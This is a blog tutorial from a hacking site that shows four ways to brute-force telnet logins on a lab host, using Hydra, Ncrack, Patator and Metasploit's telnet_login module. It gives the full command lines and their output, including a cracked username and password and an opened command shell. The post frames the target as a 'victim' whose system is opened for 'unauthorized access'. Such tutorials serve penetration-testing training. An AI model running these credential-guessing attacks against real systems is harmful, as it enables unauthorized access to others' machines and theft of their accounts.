

Hacking Articles

Raj Chandel's Blog

[Author](#)[Web Penetration Testing](#)[Penetration Testing](#)[Courses We Offer](#)[My Books](#)[Donate us](#)

4 Ways to Hack Telnet Password

posted in [HACKING TOOLS](#) , [KALI LINUX](#) , [PENETRATION TESTING](#) on [MARCH 6, 2016](#)

by [RAJ CHANDEL](#)

[SHARE](#)

Hydra

Hydra is often the tool of choice. It can perform rapid dictionary attacks against more than 50 protocols, including telnet, ftp, http, https, smb, several databases, and much more

Now, we need to choose a wordlist. As with any dictionary attack, the wordlist is key. Kali has numerous wordlists built right in.

Run the following command

```
hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt 192.168.1.106 telnet
```

Search

Subscribe to Blog via Email

SUBSCRIBE

Here

-L: denotes path for username list

-P: denotes path for password list

As you can observe that we had successfully grabbed the telnet **username** as **xander** and **password** as **123**.

```
root@kali:~# hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt 192.168.1.106 telnet
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service
Hydra (http://www.thc.org/thc-hydra) starting at 2018-03-06 03:12:21
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH,
[DATA] max 16 tasks per 1 server, overall 16 tasks, 16 login tries (l:4/p:4), ~1 try per tas
[DATA] attacking telnet://192.168.1.106:23/
[23][telnet] host: 192.168.1.106 login: xander password: 123
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-03-06 03:12:35
```

Ncrack

Ncrack is a high-speed network authentication cracking tool. It was built to help companies secure their networks by proactively testing all their hosts and networking devices for poor passwords.

Run the following command

```
ncrack -U /root/Desktop/user.txt -P /root/Desktop/pass.txt 192.168.1.106:23
```

Here

-U: denotes path for username list

-P: denotes path for password list

As you can observe that we had successfully grabbed the telnet **username** as **xander** and **password** as **123**.



```

root@kali:~# ncrack -U /root/Desktop/user.txt -P /root/Desktop/pass.txt 192.168.1.106:23
Starting Ncrack 0.6 ( http://ncrack.org ) at 2018-03-06 03:22 EST
Stats: 0:03:12 elapsed; 0 services completed (1 total)
Rate: 0.00; Found: 1; About 75.00% done; ETC: 03:26 (0:01:04 remaining)
(press 'p' to list discovered credentials)
Stats: 0:03:18 elapsed; 0 services completed (1 total)
Rate: 0.00; Found: 1; About 75.00% done; ETC: 03:26 (0:01:06 remaining)
(press 'p' to list discovered credentials)
Discovered credentials for telnet on 192.168.1.106 23/tcp:
192.168.1.106 23/tcp telnet: 'xander' '123'
Discovered credentials for telnet on 192.168.1.106 23/tcp:
192.168.1.106 23/tcp telnet: 'xander' '123'

```

Patator

Patator is a multi-purpose brute-forcer, with a modular design and a flexible usage. It is quite useful for making brute force attack on several ports such as FTP, HTTP, SMB and etc.

```

patator telnet_login host=192.168.1.106 inputs='FILE0\nFILE1'
0=/root/Desktop/user.txt 1=/root/Desktop/pass.txt persistent=0
prompt_re='Username: | Password:'

```

```

root@kali:~# patator telnet_login host=192.168.1.106 inputs='FILE0\nFILE1' 0=/root/Desktop/user.txt 1=/root/Desktop/pass.txt persistent=0 prompt_re='Username: | Password:'

```

From given below image you can observe that the process of dictionary attack starts and thus, you will attain the username and password of your victim.

Categories

- 🔖 BackTrack 5 Tutorials
- 🔖 Best of Hacking
- 🔖 Browser Hacking
- 🔖 Cryptography & Steganography
- 🔖 CTF Challenges
- 🔖 Cyber Forensics
- 🔖 Database Hacking
- 🔖 Domain Hacking
- 🔖 Email Hacking
- 🔖 Footprinting
- 🔖 Hacking Tools
- 🔖 Kali Linux
- 🔖 Nmap
- 🔖 Others
- 🔖 Penetration Testing
- 🔖 Social Engineering Toolkit
- 🔖 Trojans & Backdoors
- 🔖 Website Hacking
- 🔖 Window Password Hacking
- 🔖 Windows Hacking Tricks
- 🔖 Wireless Hacking
- 🔖 Youtube Hacking

```

20.119 | root:toor | 3 | toor\r\nPassword:
20.125 | root:123 | 4 | 123\r\nPassword:
20.126 | root:postgres | 5 | postgres\r\nPassword:
20.123 | root:password | 6 | password\r\nPassword:
40.034 | root:root | 1 | root\r\n\r\nLogin incorrect\r\nnignite login:
20.120 | postgres:postgres | 17 | \r\n\r\nLogin incorrect\r\nnignite login:
20.119 | postgres:password | 18 | \r\n\r\nLogin incorrect\r\nnignite login:
20.118 | xander:root | 19 | \r\n\r\nLogin incorrect\r\nnignite login:
20.123 | xander:raj | 20 | \r\n\r\nLogin incorrect\r\nnignite login:
20.145 | toor:password | 12 | \r\n\r\nLogin incorrect\r\nnignite login:
20.143 | postgres:root | 13 | \r\n\r\nLogin incorrect\r\nnignite login:
20.145 | postgres:raj | 14 | \r\n\r\nLogin incorrect\r\nnignite login:
20.144 | postgres:toor | 15 | \r\n\r\nLogin incorrect\r\nnignite login:
20.146 | postgres:123 | 16 | \r\n\r\nLogin incorrect\r\nnignite login:
20.069 | toor:postgres | 11 | \r\n\r\nLogin incorrect\r\nnignite login:
20.030 | xander:123 | 22 | \r\nLast login: Tue Mar 6 02:26:52 PST 20
Linux 4.4.0-116-generic x86_64)\r\n\r\n * Documentation: https://help.ubuntu.com/\r\n\r\n System
\r\n System load: 0.11 Processes: 262\r\n Usage of /: 16.7% of 28.42GB
IP address for eth0: 192.168.1.106\r\n Swap usage: 0%\r\n\r\n Graph this data and m
nical.com/\r\n\r\nNew release '16.04.4 LTS' available.\r\nRun 'do-release-upgrade' to upgrade to it
ported until April 2019.\r\nxander@ignite:~$
20.035 | xander:postgres | 23 | \r\n\r\nLogin incorrect\r\nnignite login:
20.030 | xander:password | 24 | \r\n\r\nLogin incorrect\r\nnignite login:
20.035 | pavan:root | 25 | \r\n\r\nLogin incorrect\r\nnignite login:
20.031 | pavan:raj | 26 | \r\n\r\nLogin incorrect\r\nnignite login:
20.041 | pavan:toor | 27 | \r\n\r\nLogin incorrect\r\nnignite login:
20.037 | pavan:123 | 28 | \r\n\r\nLogin incorrect\r\nnignite login:
20.044 | pavan:postgres | 29 | \r\n\r\nLogin incorrect\r\nnignite login:
20.032 | pavan:password | 30 | \r\n\r\nLogin incorrect\r\nnignite login:
20.095 | xander:toor | 21 | \r\n\r\nLogin incorrect\r\nnignite login:

```

Articles

Select Month



Facebook Page



Metasploit

This module will test a telnet login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.

Open Kali terminal type **msfconsole**

Now type use **auxiliary/scanner/telnet/telnet_login**

msf exploit (telnet_login)>set rhosts 192.168.1.106 (IP of Remote Host)

msf exploit (telnet_login)>set user_file /root/Desktop/user.txt

msf exploit (telnet_login)>set pass_file /root/Desktop/pass.txt

```
msf exploit (telnet_login)>set stop_on_success true
```

```
msf exploit (telnet_login)> exploit
```

From given below image you can observe that we had successfully grabbed the telnet password and username, moreover metasploit serves an additional benefit by providing remote **system command shell** for unauthorized access into victim's system.

```
msf > use auxiliary/scanner/telnet/telnet_login
msf auxiliary(scanner/telnet/telnet_login) > set rhosts 192.168.1.106
rhosts => 192.168.1.106
msf auxiliary(scanner/telnet/telnet_login) > set user_file /root/Desktop/user.txt
user_file => /root/Desktop/user.txt
msf auxiliary(scanner/telnet/telnet_login) > set pass_file /root/Desktop/pass.txt
pass_file => /root/Desktop/pass.txt
msf auxiliary(scanner/telnet/telnet_login) > set stop_on_success true
stop_on_success => true
msf auxiliary(scanner/telnet/telnet_login) > exploit

[-] 192.168.1.106:23 - 192.168.1.106:23 - LOGIN FAILED: root:root (Incorrect: )
[-] 192.168.1.106:23 - 192.168.1.106:23 - LOGIN FAILED: root:raj (Incorrect: )
[-] 192.168.1.106:23 - 192.168.1.106:23 - LOGIN FAILED: root:toor (Incorrect: )
[-] 192.168.1.106:23 - 192.168.1.106:23 - LOGIN FAILED: root:123 (Incorrect: )
[-] 192.168.1.106:23 - 192.168.1.106:23 - LOGIN FAILED: raj:root (Incorrect: )
[-] 192.168.1.106:23 - 192.168.1.106:23 - LOGIN FAILED: raj:raj (Incorrect: )
[-] 192.168.1.106:23 - 192.168.1.106:23 - LOGIN FAILED: raj:toor (Incorrect: )
[-] 192.168.1.106:23 - 192.168.1.106:23 - LOGIN FAILED: raj:123 (Incorrect: )
[-] 192.168.1.106:23 - 192.168.1.106:23 - LOGIN FAILED: toor:root (Incorrect: )
[-] 192.168.1.106:23 - 192.168.1.106:23 - LOGIN FAILED: toor:raj (Incorrect: )
[-] 192.168.1.106:23 - 192.168.1.106:23 - LOGIN FAILED: toor:toor (Incorrect: )
[-] 192.168.1.106:23 - 192.168.1.106:23 - LOGIN FAILED: toor:123 (Incorrect: )
[-] 192.168.1.106:23 - 192.168.1.106:23 - LOGIN FAILED: xander:root (Incorrect: )
[-] 192.168.1.106:23 - 192.168.1.106:23 - LOGIN FAILED: xander:raj (Incorrect: )
[-] 192.168.1.106:23 - 192.168.1.106:23 - LOGIN FAILED: xander:toor (Incorrect: )
[+] 192.168.1.106:23 - 192.168.1.106:23 - Login Successful: xander:123
[*] 192.168.1.106:23 - Attempting to start session 192.168.1.106:23 with xander:123
[*] Command shell session 4 opened (192.168.1.116:39047 -> 192.168.1.106:23) at 2018-03-0
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact [here](#)

Share this:



Like this:

Loading...

ABOUT THE AUTHOR



RAJ CHANDEL

Raj Chandel is a Skilled and Passionate IT Professional especially in IT-Hacking Industry. At present other than his name he can also be called as An Ethical Hacker, A Cyber Security Expert, A Penetration Tester. With years of quality Experience in IT and software industry

PREVIOUS POST

← WIFI FORENSIC INVESTIGATION
USING WIFIHISTORYVIEW

NEXT POST

HOW TO SETUP VYOS (VIRTUAL
ROUTER PENTEST LAB) →

Leave a Reply

Your email address will not be published. Required fields are marked *

Comment

Name *

Email *

Website

☐

Save my name, email, and website in this browser for the next time I comment.

POST COMMENT

☐ Notify me of follow-up comments by email.

☐ Notify me of new posts by email.
